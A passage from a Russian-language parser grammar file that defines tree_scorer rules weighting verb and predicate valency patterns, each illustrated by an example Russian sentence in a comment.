if context { глагол:*{}.{ [not]частица:не{} <OBJECT>ОтрицМестоим{} } }
then -5
}
// -------------------------------------------------------
// Я имею на это право.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:иметь{}.{ <OBJECT>существительное:право{ ПАДЕЖ:ВИН } <PREPOS_ADJUNCT>предлог:на{}.*:*{ ПАДЕЖ:ВИН } } }
then 1
}
// Они, должно быть, спустились с горы.
// ^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:спуститься{}.предлог:с{}.*:*{ падеж:вин } }
then -5
}
// ------------------------------------------------------------
// наконец усталость дала о себе знать.
// ^^^^ ^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { инфинитив:знать{}.rus_verbs:дать{} }
then 2
}
// ------------------------------------------------------------
// Но никто не обращал на них внимания.
// ^^^^^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:обращать{}.предлог:на{}.*:*{ ПАДЕЖ:ПРЕДЛ } }
then -1
}
// распространяться по территории штата
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:распространяться{}.предлог:по{}.*:*{ ПАДЕЖ:ВИН } }
then -1
}
// я собираюсь с тобой в прятки поиграть
// ^^^^^^^ ^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:поиграть{}.предлог:в{}.'прятки'{ ПАДЕЖ:ВИН } }
then 1
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:играть{}.предлог:в{}.'прятки'{ ПАДЕЖ:ВИН } }
then 1
}
// бежать, повалявшись в снегу, обратно в тепло
// ^^^^^^ ^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:бежать{}.предлог:в{}.*:*{ ПАДЕЖ:ВИН ОДУШ:НЕОДУШ } }
then 1
}
// Ты сама ко мне лезла!
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:лезть{}.предлог:к{}.*:*{ ПАДЕЖ:ДАТ } }
then 1
}
// В действительности же дело обстояло не так.
tree_scorer ВалентностьПредиката language=Russian
{
if context { rus_verbs:обстоять{}.<SUBJECT>существительное:дело{} }
then 1
}
// Тем дело пока и кончилось.
tree_scorer ВалентностьПредиката language=Russian
{
if context { rus_verbs:кончиться{}.{ <SUBJECT>существительное:дело{} <OBJECT>*:*{ ПАДЕЖ:ТВОР } } }
then 1
}
// На этом дело и кончилось.
// ^^^^ ^^^^^^^^^
tree_scorer ВалентностьПредиката language=Russian
{
if context { rus_verbs:кончиться{}.<SUBJECT>существительное:дело{} }
then 1
}
// В действительности же дело обстояло не так.
// ^^^^ ^^^^^^^^
tree_scorer ВалентностьПредиката language=Russian
{
if context { rus_verbs:обстоять{}.<SUBJECT>существительное:дело{} }
then 1
}
// Озеленение на этом не закончится.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:закончиться{}.предлог:на{}.*:*{ ПАДЕЖ:ПРЕДЛ } }
then 1
}
// Ты что-то от меня скрываешь?
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:скрывать{}.предлог:от{}.ОдушОбъект{ ПАДЕЖ:РОД } }
then 1
}
// мы будем атаковать
// ^^^^^^^^^^^^^^^
tree_scorer ГлагИнф language=Russian generic
{
if context { инфинитив:*{ ВИД:СОВЕРШ }.МодальныеТолькоНесоверш }
then -100
}
// Ужин был подан, и все сели за стол.
// ^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:сесть{}.предлог:за{}.существительное:стол{} }
then 1
}
// Ты совсем отстал от жизни.
// ^^^^^^ ^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:отстать{}.предлог:от{} }
then 2
}
// Тут есть над чем задуматься
// ^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:задуматься{}.предлог:над{} }
then 2
}
// Пора было положить этому конец.
// ^^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:положить{}.{ <OBJECT>существительное:конец{ ПАДЕЖ:ВИН } <OBJECT>*:*{ ПАДЕЖ:ДАТ } } }
then 2
}
// Задержать преступников по горячим следам милиционерам не удалось.
// ^^^^^^^^^ ^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:задержать{}."по"."горячим"."следам" }
then 4
}
// ----------------------------
// Особо обрабатываем ситуацию с появлением РОДИТЕЛЬНОЙ валентности в случае,
// когда модальный глагол стоит в отрицательной форме:
//
// Ломать вы ничего не хотите.
// ^^^^^^ ^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian generic
{
if context { инфинитив:*{ ПЕРЕХОДНОСТЬ:ПЕРЕХОДНЫЙ ПАДЕЖ:ВИН }
.{
<LEFT_AUX_VERB>глагол:*{}.<NEGATION_PARTICLE>частица:не{}
<OBJECT>*:*{ ПАДЕЖ:РОД }
}
}
then 3
}
// ----------------------------------------
// Они не хотят ее знать.
tree_scorer ВалентностьГлагола language=Russian
{
if context { инфинитив:знать{}.{ <LEFT_AUX_VERB>глагол:хотеть{} } }
then 5
}
// Никому до тебя нет дела
tree_scorer ВалентностьПредиката language=Russian
{
if context { частица:нет{}.{ <OBJECT>'дела'{ падеж:род } <PREPOS_ADJUNCT>предлог:до{} } }
then 5
}
// Я не удостоил Ее ответом.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:удостоить{}.{ <OBJECT>*:*{ ПАДЕЖ:ДАТ } <OBJECT>'ответом' } }
then 2
}
// -----------------------------------------------
// Горю родителей нет предела.
tree_scorer ВалентностьПредиката language=Russian
{
if context { частица:нет{}.{ <OBJECT>'предела'{ падеж:род } *:*{ ПАДЕЖ:ДАТ } } }
then 5
}
// -----------------------------------------
// Он весь день провел со мной!
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:провести{}.{ <OBJECT>'день'.'весь' <PREPOS_ADJUNCT>предлог:с{}.*:*{ падеж:твор } } }
then 4
}
// Рабочие день и ночь трудятся.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:трудиться{}.<ATTRIBUTE>'день'.'и'.'ночь' }
then 2
}
wordentry_set СчетныеНаречия=наречие:{ мало, немало, много, немного, маловато, многовато }
// Но и этого будет мало.
// ^^^^^^^^^^^^^^^^
// Контрпример:
// Несколько мгновений все было тихо.
// ~~~~~~~~~ ^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:быть{}.{ <OBJECT>*:*{ падеж:род } <ATTRIBUTE>СчетныеНаречия } }
then 5
}
// Шуму было много, однако гора родила мышь.
// ^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:быть{}.{ <OBJECT>*:*{ падеж:парт } <ATTRIBUTE>СчетныеНаречия } }
then 5
}
// Я не удостоил Ее ответом.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:удостоить{}.{ <OBJECT>*:*{ падеж:вин } <OBJECT>'ответом' } }
then 2
}
word_set ЕеЕгоИхОбъект = { 'ее', 'его', 'их' }
// Аня неумело стиснула ее зубами.
// ^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian generic
{
if context { глагол:*{ ПЕРЕХОДНОСТЬ:ПЕРЕХОДНЫЙ ПАДЕЖ:ВИН ~ПАДЕЖ:ТВОР }.
{
<OBJECT>ЕеЕгоИхОбъект{ падеж:вин }
<OBJECT>*:*{ падеж:твор }
}
}
then 2
}
// Орлиц в поле зрения не оказалось.
// ^^^^^^^^^^^^^ ^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian generic
{
if context { rus_verbs:оказаться{}.<PREPOS_ADJUNCT>предлог:в{}.'поле'{ РОД:СР ПАДЕЖ:ПРЕДЛ }.'зрения' }
then 2
}
// Я пересекла двор и села рядом с ней.
// ^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:сесть{}.<PREPOS_ADJUNCT>предлог:с{}.<ATTRIBUTE>наречие:рядом{} }
then 2
}
// Я всегда стою, обучая кого-то.
// ^^ ^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:стоить{}.<SUBJECT>местоимение:я{ лицо:1 } }
then -2
}
// Окончив первый, принялся за второй.
// ^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:приняться{}.<PREPOS_ADJUNCT>предлог:за{}.*:*{ ПАДЕЖ:ТВОР } }
then -2
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:приниматься{}.<PREPOS_ADJUNCT>предлог:за{}.*:*{ ПАДЕЖ:ТВОР } }
then -2
}
// Оставшихся в живых они же заперли в резервациях.
// ^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:остаться{}.<PREPOS_ADJUNCT>предлог:в{}.'живых' }
then 2
}
// Ворованные автомобили злоумышленники разбирали на запчасти и продавали.
// ^^^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:разбирать{}.<PREPOS_ADJUNCT>предлог:на{}.существительное:*{ падеж:вин одуш:неодуш } }
then 2
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:разобрать{}.<PREPOS_ADJUNCT>предлог:на{}.существительное:*{ падеж:вин одуш:неодуш } }
then 2
}
// Белолобый неприязненно смерил его взглядом.
// ^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:смерить{}.{ <OBJECT>*:*{ падеж:вин } <OBJECT>'взглядом' } }
then 2
}
// Безмерно нибелунги о Зигфриде грустили.
// ^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:грустить{}.<PREPOS_ADJUNCT>предлог:о{}.<OBJECT>*:*{ падеж:предл } }
then 1
}
// Блондин потащил девчонку к двери;
// ^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:потащить{}.<PREPOS_ADJUNCT>предлог:к{} }
then 1
}
// Сняв шляпу, Рэнналф прибавил шагу.
// ^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:прибавить{}.<OBJECT>'шагу'{ падеж:парт } }
then 3
}
// Хвалю я ее за это?
// ^^^^^ ^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:хвалить{}.<PREPOS_ADJUNCT>предлог:за{}.<OBJECT>*:*{ падеж:вин } }
then 2
}
// Александр улыбнулся, пожирая её глазами.
// ^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:пожирать{}.{ <OBJECT>*:*{ ПАДЕЖ:ВИН } 'глазами' } }
then 2
}
// мне будет сорок один год
tree_scorer ВалентностьПредиката language=Russian
{
if context { глагол:быть{ число:ед лицо:3 время:будущее }.
{
<SUBJECT>существительное:год{}.числительное:*{}
<OBJECT>*:*{ падеж:дат }
}
}
then 2
}
// Мне было двадцать три года.
tree_scorer ВалентностьПредиката language=Russian
{
if context { глагол:быть{ число:ед род:ср время:прошедшее }.
{
<SUBJECT>существительное:год{}.числительное:*{}
<OBJECT>*:*{ падеж:дат }
}
}
then 2
}
// Устойчивый оборот: принять участие в чем-то:
//
// В экспедиции приняли участие много иностранцев.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:принять{}.{ <OBJECT>существительное:участие{ ПАДЕЖ:ВИН } <PREPOS_ADJUNCT>предлог:в{}.*:*{ падеж:предл } } }
then 1
}
// Женщина и ребенок с ног валились.
// ^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:валиться{}.'с'.'ног' }
then 2
}
// Ведет оседлый и полуоседлый образ жизни.
// ^^^^^ ^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:вести{}.<OBJECT>'образ'.'жизни' }
then 2
}
// Я обещался в точности исполнить поручение.
// ^^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:исполнить{}.'в'.'точности'{ падеж:предл } }
then 2
}
// Впрочем, может быть и меньше.
// ~~~~~~
tree_scorer ВалентностьПредиката language=Russian
{
if context { СчетнСвязка.[not]<OBJECT>*:*{} }
then -3
}
// Проехали километра два.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:проехать{}.<OBJECT>существительное:километр{} }
then 4
}
// Прошли пять километров
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:пройти{}.<OBJECT>существительное:километр{} }
then 4
}
// Пройдет много лет.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:пройти{}.<SUBJECT>'лет'.'много' }
then 4
}
// Ничего не видит.
tree_scorer ВалентностьПредиката language=Russian
{
if context { rus_verbs:видеть{}.<SUBJECT>'ничего' }
then -4
}
// Ничего не знает.
tree_scorer ВалентностьПредиката language=Russian
{
if context { rus_verbs:знать{}.<SUBJECT>'ничего' }
then -4
}
// Ничего не боится.
tree_scorer ВалентностьПредиката language=Russian
{
if context { rus_verbs:бояться{}.<SUBJECT>'ничего' }
then -4
}
// Взяли в клещи.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:взять{}.'в'.'клещи'{ ПАДЕЖ:ВИН} }
then 2
}
// К вам пришли!
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:придти{}.'к'.*:*{ ПАДЕЖ:ДАТ } }
then 1
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:прийти{}.'к'.*:*{ ПАДЕЖ:ДАТ } }
then 1
}
// Сергиенко воспользовался моментом.
// ^^^^^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:воспользоваться{}.[not]<OBJECT>*:*{ ПАДЕЖ:ТВОР } }
then -1
}
// Готовиться времени нет.
tree_scorer ВалентностьПредиката language=Russian
{
if context { частица:нет{}.'времени'.<INFINITIVE>инфинитив:*{} }
then 4
}
// Дал время подумать.
tree_scorer ВалентностьПредиката language=Russian
{
if context { rus_verbs:дать{}.<OBJECT>существительное:время{ падеж:вин }.<INFINITIVE>инфинитив:*{} }
then 4
}
// -------------------------------------------------------------------------------
// Ночь выдается беспокойная.
// ^^^^^^^^^^^^^
tree_scorer ВалентностьПредиката language=Russian
{
if context { rus_verbs:выдаваться{}.<SUBJECT>СущСоЗначВремКакОбст1{ ПАДЕЖ:ИМ } }
then 4
}
tree_scorer ВалентностьПредиката language=Russian
{
if context { rus_verbs:выдаться{}.<SUBJECT>СущСоЗначВремКакОбст1{ ПАДЕЖ:ИМ } }
then 4
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:выдаваться{}.<ATTRIBUTE>СущСоЗначВремКакОбст1{} }
then -10
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:выдаться{}.<ATTRIBUTE>СущСоЗначВремКакОбст1{} }
then -10
}
// -------------------------------------------------------------------------------
// Что говорит свинец?
tree_scorer ВалентностьПредиката language=Russian
{
if context { rus_verbs:говорить{}.<SUBJECT>местоим_сущ:что{} }
then -3
}
// В детях эта программа усиливается во много раз.
// ^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:усиливаться{}."во"."раз"."много" }
then 5
}
// Я посмотрел на часы.
// ^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:посмотреть{}."на".*{ ПАДЕЖ:ВИН } }
then 3
}
// К вам пришли!
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:придти{}."к".ОдушОбъект }
then 3
}
// Он бросил взгляд на часы. (БРОСИТЬ ВЗГЛЯД НА что-то)
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:бросить{}.{ <OBJECT>"взгляд"{ ПАДЕЖ:ВИН } <PREPOS_ADJUNCT>"на".*:*{ ПАДЕЖ:ВИН } } }
then 3
}
// Женщина и ребенок с ног валились. (ВАЛИТЬСЯ С НОГ)
// ^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:валиться{}."с"."ног" }
then 3
}
// стыдно ребятам в глаза смотреть. (СМОТРЕТЬ В ГЛАЗА)
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:смотреть{}."в"."глаза"{ ПАДЕЖ:ВИН } }
then 3
}
// Надежнее иметь дело со взрослыми. (ИМЕТЬ ДЕЛО С кем-то/чем-то)
// ^^^^^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:иметь{}.{ <OBJECT>существительное:дело{ падеж:вин } <PREPOS_ADJUNCT>предлог:с{}.*:*{ ПАДЕЖ:ТВОР } } }
then 3
}
// Вдохновлял он ее и на поэмы. (ВДОХНОВЛЯТЬ/ВДОХНОВИТЬ НА что-то)
// ^^^^^^^^^^ ^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:вдохновлять{}.<PREPOS_ADJUNCT>предлог:на{}.*:*{ ПАДЕЖ:ВИН } }
then 3
}
// Оставшихся в живых они же заперли в резервациях. (ОСТАТЬСЯ В ЖИВЫХ)
// ^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:остаться{}.<PREPOS_ADJUNCT>предлог:в{}.'живых' }
then 3
}
// Я стояла, провожая его взглядом. (ПРОВОЖАТЬ кого-то/что-то ВЗГЛЯДОМ)
// ^^^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:провожать{}.{ <OBJECT>*:*{ ПАДЕЖ:ВИН } 'взглядом' } }
then 3
}
// Эпидемии гриппа не ожидается
tree_scorer ВалентностьГлагола language=Russian
{
if context { "ожидается".{ <OBJECT>*:*{ ПАДЕЖ:РОД } 'не' } }
then 3
}
// --------------------------------------------------------------------------
// Прикажи дать коньяку.
// ^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:дать{}.<OBJECT>*:*{ ПАДЕЖ:ПАРТ <в_класс>СУЩЕСТВИТЕЛЬНОЕ:НАПИТОК{} } }
then 6
}
// Там дела важнее.
// ^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { 'дела'.<ATTRIBUTE>НАРЕЧИЕ:*{ СТЕПЕНЬ:СРАВН } }
then -10
}
// --------------------------------------------------------------------
// Что делает Танасчишин?
// ~~~~~~~~~~
tree_scorer ВалентностьПредиката language=Russian
{
if context { rus_verbs:делать{}.<SUBJECT>местоим_сущ:что{} }
then -3
}
// -------------------------------------------------------
// Нельзя допустить атрофии.
tree_scorer ВалентностьПредиката language=Russian
{
if context { инфинитив:допустить{}.{ <LEFT_AUX_VERB>безлич_глагол:Нельзя{} <OBJECT>*:*{ падеж:род } } }
then 3
}
// --------------------------------------------------------
// Надо Дорошенко сказать.
// ^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:сказать{}.<OBJECT>существительное:*{ ОДУШ:ОДУШ ПАДЕЖ:ТВОР } }
then -5
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:сказать{}.<OBJECT>существительное:*{ ОДУШ:ОДУШ ПАДЕЖ:ВИН } }
then -5
}
// --------------------------------------------------------------
// Тем не менее досталось всем.
// ^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:достаться{}.<ATTRIBUTE>'всем'{ ПАДЕЖ:ТВОР } }
then -20
}
// Наконец достигли вершины.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:достичь{}.<OBJECT>НеодушОбъект{ ПАДЕЖ:РОД } }
then 3
}
// --------------------------------------------------------------
// Возглавляет его мэр.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:возглавлять{}.[not]<OBJECT>*:*{ ПАДЕЖ:ВИН } }
then -3
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:возглавлять{}.<OBJECT>существительное:*{ ПАДЕЖ:ВИН } }
then -3
}
/*
// Засыпаю его вопросами.
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:засыпать{ ПЕРЕХОДНОСТЬ:ПЕРЕХОДНЫЙ }.{ <OBJECT>*:*{ ПАДЕЖ:ВИН } <OBJECT>'вопросами' } }
then 2
}
*/
// Разбудила его Надя.
tree_scorer ВалентностьПредиката language=Russian
{
if context { rus_verbs:разбудить{}.{ <OBJECT>*:*{ ПАДЕЖ:ВИН } <SUBJECT>*:*{} } }
then 2
}
// Прошло две недели.
tree_scorer ВалентностьПредиката language=Russian
{
if context { 'прошло'.<SUBJECT>СущСоЗначВрем{ ПАДЕЖ:РОД }.числительное:*{} }
then 2
}
// Я просидел дома весь день
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:просидеть{}.<ATTRIBUTE>'день'{ ПАДЕЖ:ВИН }.<ATTRIBUTE>'весь'{ ПАДЕЖ:ВИН } }
then 2
}
// Сегодня я весь день читал.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:читать{}.<ATTRIBUTE>'день'{ ПАДЕЖ:ВИН }.<ATTRIBUTE>'весь'{ ПАДЕЖ:ВИН } }
then 2
}
// я буду работать весь день
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:работать{}.<ATTRIBUTE>'день'{ ПАДЕЖ:ВИН }.<ATTRIBUTE>'весь'{ ПАДЕЖ:ВИН } }
then 2
}
// вместе они шли весь день.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:идти{}.<ATTRIBUTE>'день'{ ПАДЕЖ:ВИН }.<ATTRIBUTE>'весь'{ ПАДЕЖ:ВИН } }
then 2
}
// бой продолжался весь день.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:продолжаться{}.<ATTRIBUTE>'день'{ ПАДЕЖ:ВИН }.<ATTRIBUTE>'весь'{ ПАДЕЖ:ВИН } }
then 2
}
// битва длилась весь день.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:длиться{}.<ATTRIBUTE>'день'{ ПАДЕЖ:ВИН }.<ATTRIBUTE>'весь'{ ПАДЕЖ:ВИН } }
then 2
}
// мы играли во дворе целый день
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:играть{}.<ATTRIBUTE>'день'{ ПАДЕЖ:ВИН }.<ATTRIBUTE>'целый'{ ПАДЕЖ:ВИН } }
then 2
}
// У меня к тебе дело
// ~~~~~~~~~~~
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:деть{ род:ср }.предлог:к{}.*:*{ падеж:дат } }
then -10
}
// дайте им три часа.
// ^^^^^ ^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:дать{}.<OBJECT>существительное:час{}.числительное:*{} }
then 5
}
// Важное значение имеет и нестационарность Метагалактики.
// ^^^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:иметь{}.<OBJECT>существительное:значение{}.'важное' }
then 10
}
// Я не теряю надежды.
// ^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:терять{}.{ <NEGATION_PARTICLE>частица:не{} <OBJECT>существительное:надежда{ падеж:род число:ед } } }
then 1
}
// Вы не знаете Дезире?
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:знать{}.<OBJECT>существительное:*{ одуш:одуш падеж:твор } }
then -5
}
// Я целую Викторию...
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:целовать{}.<OBJECT>существительное:*{ одуш:одуш падеж:дат } }
then -5
}
// Благоустройство кладбища продолжалось и летом.
// ^^^^^^^^^^^^ ^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:продолжаться{}.<ATTRIBUTE>существительное:лето{ падеж:твор } }
then 5
}
// ----------------------------------------------------------------
// Ей нужен был отдых.
tree_scorer ВалентностьПредиката language=Russian
{
if context { прилагательное:нужный{ краткий }.'ей'{ падеж:твор } }
then -5
}
tree_scorer ВалентностьПредиката language=Russian
{
if context { прилагательное:нужный{ краткий }.'им'{ падеж:твор } }
then -5
}
// - Я тебе дам знать .
tree_scorer ВалентностьГлагола language=Russian
{
if context { инфинитив:знать{}.rus_verbs:дать{} }
then 5
}
// Для отправителя они не представляли опасности.
// ^^^^^^^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:представлять{}.'опасности'{ ПАДЕЖ:РОД } }
then 5
}
// К вам это не имело отношения.
// ^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:иметь{}.'отношения'{ ЧИСЛО:МН } }
then -1
}
// ты встала на его пути
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:встать{}.'на'.'пути'{ ПАДЕЖ:ВИН } }
then -2
}
// Она хотела стать моей
// ^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:хотеть{}.<OBJECT>существительное:стать{} }
then -10
}
// откуда нам это знать?
tree_scorer ВалентностьПредиката language=Russian
{
if context { инфинитив:знать{}.{ <ATTRIBUTE>наречие:откуда{} <OBJECT>*:*{ падеж:дат } } }
then 2
}
// друид встал на их пути
// ^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:встать{}.<PREPOS_ADJUNCT>предлог:на{}.<OBJECT>существительное:путь{ падеж:вин } }
then -2
}
// «Мы вытолкнули Украину из Русского мира»
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:вытолкнуть{}.<PREPOS_ADJUNCT>предлог:из{} }
then 2
}
// Владимир Путин объявил финансовые пирамиды вне закона
// ^^^^^^^ ^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:объявить{}.<PREPOS_ADJUNCT>предлог:вне{} }
then 2
}
// Содержание их было однообразно.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rhema=прилагательное:*{ КРАТКИЙ ЧИСЛО:ЕД РОД:СР }.{ thema=<SUBJECT>существительное:*{ ЧИСЛО:ЕД РОД:СР } } }
then adj_noun_score(rhema,thema)
}
// Отдам краснохвостого сома в хорошие руки
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:отдать{}.предлог:в{}.'руки'.'хорошие' }
then 5
}
// ----------------------------------------------------------------
// Приобретает массовый характер Стахановское движение.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:приобретать{}.<OBJECT>существительное:характер{}.<ATTRIBUTE>прилагательное:массовый{} }
then 5
}
// Фашистские стрелки открывают ответный огонь.
tree_scorer ВалентностьПредиката language=Russian
{
if context { rus_verbs:открывать{}.{ <SUBJECT>существительное:стрелок{} <OBJECT>существительное:огонь{} } }
then 5
}
// Документы эти разрабатывались соответствующими начальниками.
// Старый хрыч обернулся добродушным дедулей.
tree_scorer ВалентностьГлагола language=Russian generic
{
if context { глагол:*{}.<ATTRIBUTE>существительное:*{ падеж:твор одуш:одуш } }
then -2
}
// Он смотрел на танцующих вытаращенными глазами.
// ^^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:смотреть{}.предлог:на{}.прилагательное:*{ падеж:предл } }
then -5
}
// Ей в глаза смотрела дама червей.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:смотреть{}.{ предлог:в{} "ей"{падеж:твор} } }
then -5
}
// Ей даже передалось его нервное напряжение.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:передаться{}."ей"{падеж:твор} }
then -5
}
// Ей ничего не приходило на ум.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:приходить{}."ей"{падеж:твор} }
then -5
}
// Ей и так все было ясно.
tree_scorer ВалентностьГлагола language=Russian
{
if context { "было"."ей"{падеж:твор} }
then -5
}
// Ей отвели пять часов на раздумья.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:отвести{}."ей"{падеж:твор} }
then -5
}
// Ей смертельно надоели эти смертельные игры.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:надоесть{}."ей"{падеж:твор} }
then -5
}
// Ей пришлось нелегко в прошлом году.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:прийтись{}."ей"{падеж:твор} }
then -5
}
// Ей отвечали только изумленные печальные взгляды.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:отвечать{}."ей"{падеж:твор} }
then -5
}
// Ей просто дали пипка под зад.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:дать{}."ей"{падеж:твор} }
then -5
}
// Ей все виделось в черном цвете.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:видеться{}."ей"{падеж:твор} }
then -5
}
// Ей в голову пришла одна мысль.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:прийти{}."ей"{падеж:твор} }
then -5
}
// Ей становилось трудно даже держаться прямо;
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:становиться{}."ей"{падеж:твор} }
then -5
}
// Ей бы и не дали вернуться.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:дать{}."ей"{падеж:твор} }
then -5
}
// Ей всегда доставляло удовольствие плести интриги.
